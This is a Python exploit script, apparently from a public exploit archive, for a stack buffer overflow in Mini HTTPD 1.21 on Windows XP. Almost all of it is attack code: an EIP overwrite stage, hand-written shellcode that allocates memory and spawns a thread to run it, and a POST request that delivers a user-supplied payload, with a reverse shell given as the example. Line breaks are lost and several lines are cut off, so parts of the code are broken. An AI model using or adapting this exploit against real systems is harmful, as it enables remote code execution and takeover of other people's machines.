#!/usr/bin/python # # Title: Mini HTTPD stack buffer overflow POST exploit # Author: TheColonial # Date: 20 Feb 2013 # Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html # Vendor Homepage: http://www.picolix.jp/ # Version: 1.21 # Tested on: Windows XP Professional SP3 # # Description: # This is a slightly more weaponised version of the Mini HTTPD buffer overflow # written by Sumit, located here: http://www.exploit-db.com/exploits/31736/ # I wrote this up because the existing version had a hard-coded payload and # didn't work on any of my XP boxes. # # The instability of the existing is down to bad chars, and the parent thread # killing off the child thread when the thing is still running. This exploit # allocates memory in a safe area, copies the payload to it, creates a new # thread which runs the payload and then suspends the current thread. The # suspending of the thread forces the parent to kill it off rather than let # it crash and potentially bring the process down. # # Run the script without arguments to see usage. import struct, socket, sys, subprocess # Helper function that reads the body of files off disk. def file_content(path): with open(path, 'rb') as f: return f.read() # Sent the payload in the correct format to the target host/port. def pwn(host, port, payload): print "[*] Connecting to {0}:{1}...".format(host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print "[*] Connected, sending payload {0} bytes...".format(len(payload)) payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host) s.send(payload) s.shutdown s.close print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload)) # Create the part of the payload creates a thread to run the final payload in. def create_payload_thread(final_payload_size): VirtualAlloc = struct.pack(" count_offset = len(payload) - 1 # zero out ebx because we use zero a lot payload += "\x31\xdb" # xor ebx,ebx # allocate some memory to store our shellcode in which is # away from the current active area and somewhere safe payload += "\x6a\x40" # push 0x40 payload += "\x68\x00\x30\x00\x00" # push 0x3000 payload += "\x68\x00\x10\x00\x00" # push 0x1000 payload += "\x53" # push ebx payload += "\xB8" + VirtualAlloc # mov eax,
payload += "\xff\xd0" # call eax # copy the payload over to the newly allocated area size_bin = struct.pack(" payload += "\xff\xd0" # call eax # We call SuspendThread on the current thread, because this # forces the parent to kill it. The bonus here is that doing # so prevents the thread from dying and bringing the whole # process down. payload += "\x4b" # dec ebx payload += "\x4b" # dec ebx payload += "\x53" # push ebx payload += "\xB8" + SuspendThread # mov eax,
payload += "\xff\xd0" # call eax payload += "\x90" * 4 # fill in the correct offset so that we point ESI to the # right location at the start of the final payload size = len(payload) + final_payload_size % 4 print "[*] Final stage is {0} bytes.".format(final_payload_size) offset = struct.pack("B", size) # write the value to the payload at the right location and return return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)] # Creates the first stage of the exploit which overwrite EIP to get control. def create_stage1(): eip_offset = 5412 jmp_esp = struct.pack(" ".format(sys.argv[0]) print "" print " host : IP/name of the target host." print " port : Port that the target is running on." print " payloadfile : A file with the raw payload that is to be run." print " This should be the raw, non-encoded output of" print " a call to msfpayload" print "" print " eg. {0} 192.168.1.1 80 reverse_shell_raw.bin" print "" else: print "" print " Make sure you have your listeners running!" print "" host = sys.argv[1] port = int(sys.argv[2]) payload_file = sys.argv[3] stage1 = create_stage1() final_stage = file_content(payload_file) thread_payload = create_payload_thread(len(final_stage)) shellcode = create_encoded_shellcode(thread_payload + final_stage) padding = "A" * 0x10 pwn(host, port, stage1 + shellcode + padding)